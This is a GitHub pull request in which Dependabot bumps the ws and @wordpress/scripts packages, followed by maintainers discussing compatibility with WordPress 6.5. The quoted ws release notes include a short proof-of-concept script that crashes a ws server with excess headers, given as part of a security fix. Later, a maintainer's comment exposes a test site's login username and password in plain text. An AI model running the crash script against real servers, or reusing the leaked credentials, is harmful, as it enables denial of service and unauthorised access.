Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

chore(deps): bump ws and @wordpress/scripts #462

Merged
merged 1 commit into from
Jan 10, 2025

Conversation

dependabot[bot]
Copy link
Contributor

@dependabot dependabot bot commented on behalf of github Sep 6, 2024

Bumps ws to 8.18.0 and updates ancestor dependency @wordpress/scripts. These dependencies need to be updated together.

Updates ws from 8.13.0 to 8.18.0

Release notes

Sourced from ws's releases.

8.18.0

Features

  • Added support for Blob (#2229).

8.17.1

Bug fixes

  • Fixed a DoS vulnerability (#2231).

A request with a number of headers exceeding the[server.maxHeadersCount][] threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;
for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;
for (let j = 0; j &lt; chars.length; j++) {
  const key = chars[i] + chars[j];
  headers[key] = 'x';
if (++count === 2000) break;
}

}
headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';
const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});
request.end();
});

The vulnerability was reported by Ryan LaPointe in websockets/ws#2230.

... (truncated)

Commits
  • 976c53c [dist] 8.18.0
  • 59b9629 [feature] Add support for Blob (#2229)
  • 0d1b5e6 [security] Use more descriptive text for 2017 vulnerability link
  • 15f11a0 [security] Add new DoS vulnerability to SECURITY.md
  • 3c56601 [dist] 8.17.1
  • e55e510 [security] Fix crash when the Upgrade header cannot be read (#2231)
  • 6a00029 [test] Increase code coverage
  • ddfe4a8 [perf] Reduce the amount of crypto.randomFillSync() calls
  • b73b118 [dist] 8.17.0
  • 29694a5 [test] Use the highWaterMark variable
  • Additional commits viewable in compare view

Updates @wordpress/scripts from 27.9.0 to 29.0.0

Changelog

Sourced from @​wordpress/scripts's changelog.

29.0.0 (2024-09-05)

Breaking Changes

  • Fixed the issue with having 5 high severity vulnerabilities by upgrading the puppeteer-core package to the latest major version ^23.1.0 (#64597).

Enhancements

  • Inlines CSS files imported from other CSS files before optimization in the build command (#61121).

Bug Fixes

  • Added chunk filename in webpack config to avoid reading stale files (#58176).

28.6.0 (2024-08-21)

28.5.0 (2024-08-07)

28.4.0 (2024-07-24)

New Features

  • Update webpack configuration for the build and start commands to automatically copy PHP files listed in the variations field of block.json files from the source to the build folder (#63098).

28.3.0 (2024-07-10)

28.2.0 (2024-06-26)

28.1.0 (2024-06-15)

28.0.0 (2024-05-31)

Breaking Changes

Note If you're using @​wordpress/scripts for building JS scripts to target WordPress 6.5 or earlier, you should not upgrade to this version and continue using @​wordpress/scripts@​27.

  • Use React's automatic runtime to transform JSX (#61692).
  • Variables like process.env.IS_GUTENBERG_PLUGIN have been replaced by globalThis.IS_GUTENBERG_PLUGIN. Build systems using process.env should be updated (#61486).
  • Increase the minimum required Node.js version to v18.12.0 matching long-term support releases (#31270). Learn more about Node.js releases.
Commits
  • c90d920 chore(release): publish
  • 2d989d3 Update changelog files
  • 2dbed20 Merge changes published in the Gutenberg plugin "release/19.2" branch
  • ab95649 chore(release): publish
  • c63e6e9 Update changelog files
  • 4510582 Merge changes published in the Gutenberg plugin "release/19.1" branch
  • c3101ab chore(release): publish
  • 4bb3aa7 Update changelog files
  • 363edb3 chore(release): publish
  • 4985329 Update changelog files
  • Additional commits viewable in compare view

You can trigger a rebase of this PR by commenting @dependabot rebase.


Dependabot commands and options

You can trigger Dependabot actions by commenting on this PR:

  • @dependabot rebase will rebase this PR
  • @dependabot recreate will recreate this PR, overwriting any edits that have been made to it
  • @dependabot merge will merge this PR after your CI passes on it
  • @dependabot squash and merge will squash and merge this PR after your CI passes on it
  • @dependabot cancel merge will cancel a previously requested merge and block automerging
  • @dependabot reopen will reopen this PR if it is closed
  • @dependabot close will close this PR and stop Dependabot recreating it. You can achieve the same result by closing it manually
  • @dependabot show <dependency name> ignore conditions will show all of the ignore conditions of the specified dependency
  • @dependabot ignore this major version will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)
  • @dependabot ignore this minor version will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)
  • @dependabot ignore this dependency will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)
    You can disable automated security fix PRs for this repo from the Security Alerts page.

Note
Automatic rebases have been disabled on this pull request as it has been open for over 30 days.

Bumps [ws](https://github.com/websockets/ws) to 8.18.0 and updates ancestor dependency [@wordpress/scripts](https://github.com/WordPress/gutenberg/tree/HEAD/packages/scripts). These dependencies need to be updated together.


Updates `ws` from 8.13.0 to 8.18.0
- [Release notes](https://github.com/websockets/ws/releases)
- [Commits](websockets/ws@8.13.0...8.18.0)

Updates `@wordpress/scripts` from 27.9.0 to 29.0.0
- [Release notes](https://github.com/WordPress/gutenberg/releases)
- [Changelog](https://github.com/WordPress/gutenberg/blob/trunk/packages/scripts/CHANGELOG.md)
- [Commits](https://github.com/WordPress/gutenberg/commits/@wordpress/[email protected]/packages/scripts)

---
updated-dependencies:
- dependency-name: ws
  dependency-type: indirect
- dependency-name: "@wordpress/scripts"
  dependency-type: direct:development
...

Signed-off-by: dependabot[bot] <[email protected]>
@dependabot dependabot bot added changelog: none Skip changelog entry for this PR type: dependency Pull requests that update a dependency file labels Sep 6, 2024
Copy link
Contributor Author

dependabot bot commented on behalf of github Sep 6, 2024

The following labels could not be found: javascript.

@dkotter
Copy link
Contributor

dkotter commented Sep 17, 2024

Since @wordpress/scripts dropped support for any version of WordPress less than 6.6 starting in v28 and this PR bumps that to v29, we'll probably want a more thorough test on this PR to ensure nothing breaks on older versions of WordPress

@faisal-alvi
Copy link
Member

@dkotter Should we request a review from the QA team?

@dkotter
Copy link
Contributor

dkotter commented Sep 18, 2024

@dkotter Should we request a review from the QA team?

I think because E2E tests are passing here, this is probably something an engineer needs to look at since QA will more than likely test the same things those tests are doing. We just need to verify nothing in our codebase relies on functionality specific to versions of WordPress less than 6.6 (like JSX integrations as Peter mentions)

@jeffpaul
Copy link
Contributor

@dkotter looks like this is sitting in your queue... are you expecting to do more work here, should this be passed to an engineer to review the codebase, or can it be passed along our project board queues?

@dkotter
Copy link
Contributor

dkotter commented Dec 17, 2024

@dkotter looks like this is sitting in your queue... are you expecting to do more work here, should this be passed to an engineer to review the codebase, or can it be passed along our project board queues?

I think my comment here is still valid. E2E tests are passing here but I believe having an actual person test functionality would be best, to ensure nothing breaks in WordPress 6.5. This is probably fine to just move to Regression Testing and handle that there

@faisal-alvi
Copy link
Member

faisal-alvi commented Dec 18, 2024

I tested this PR on WordPress v6.5.5 and the plugin appears to be functioning as expected. I did not place all kinds of orders (as per E2E) as they do not seem affected by the PR. Below are the login credentials:

URL: https://merry-dragonfly-a4515a.instawp.xyz  
Username: cimiroforu6118  
Password: Mi4V0ohAeIWqjGwp3K9a  

@vikrampm1 vikrampm1 modified the milestones: Future Release, 1.3.1 Jan 10, 2025
@vikrampm1 vikrampm1 merged commit c08d4cb into trunk Jan 10, 2025
15 checks passed
@vikrampm1 vikrampm1 deleted the dependabot/npm_and_yarn/multi-5ef0ef696f branch January 10, 2025 13:24
@vikrampm1 vikrampm1 mentioned this pull request Jan 17, 2025
16 tasks
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
changelog: none Skip changelog entry for this PR status: e2e tests passing type: dependency Pull requests that update a dependency file
Projects
None yet
Development

Successfully merging this pull request may close these issues.

4 participants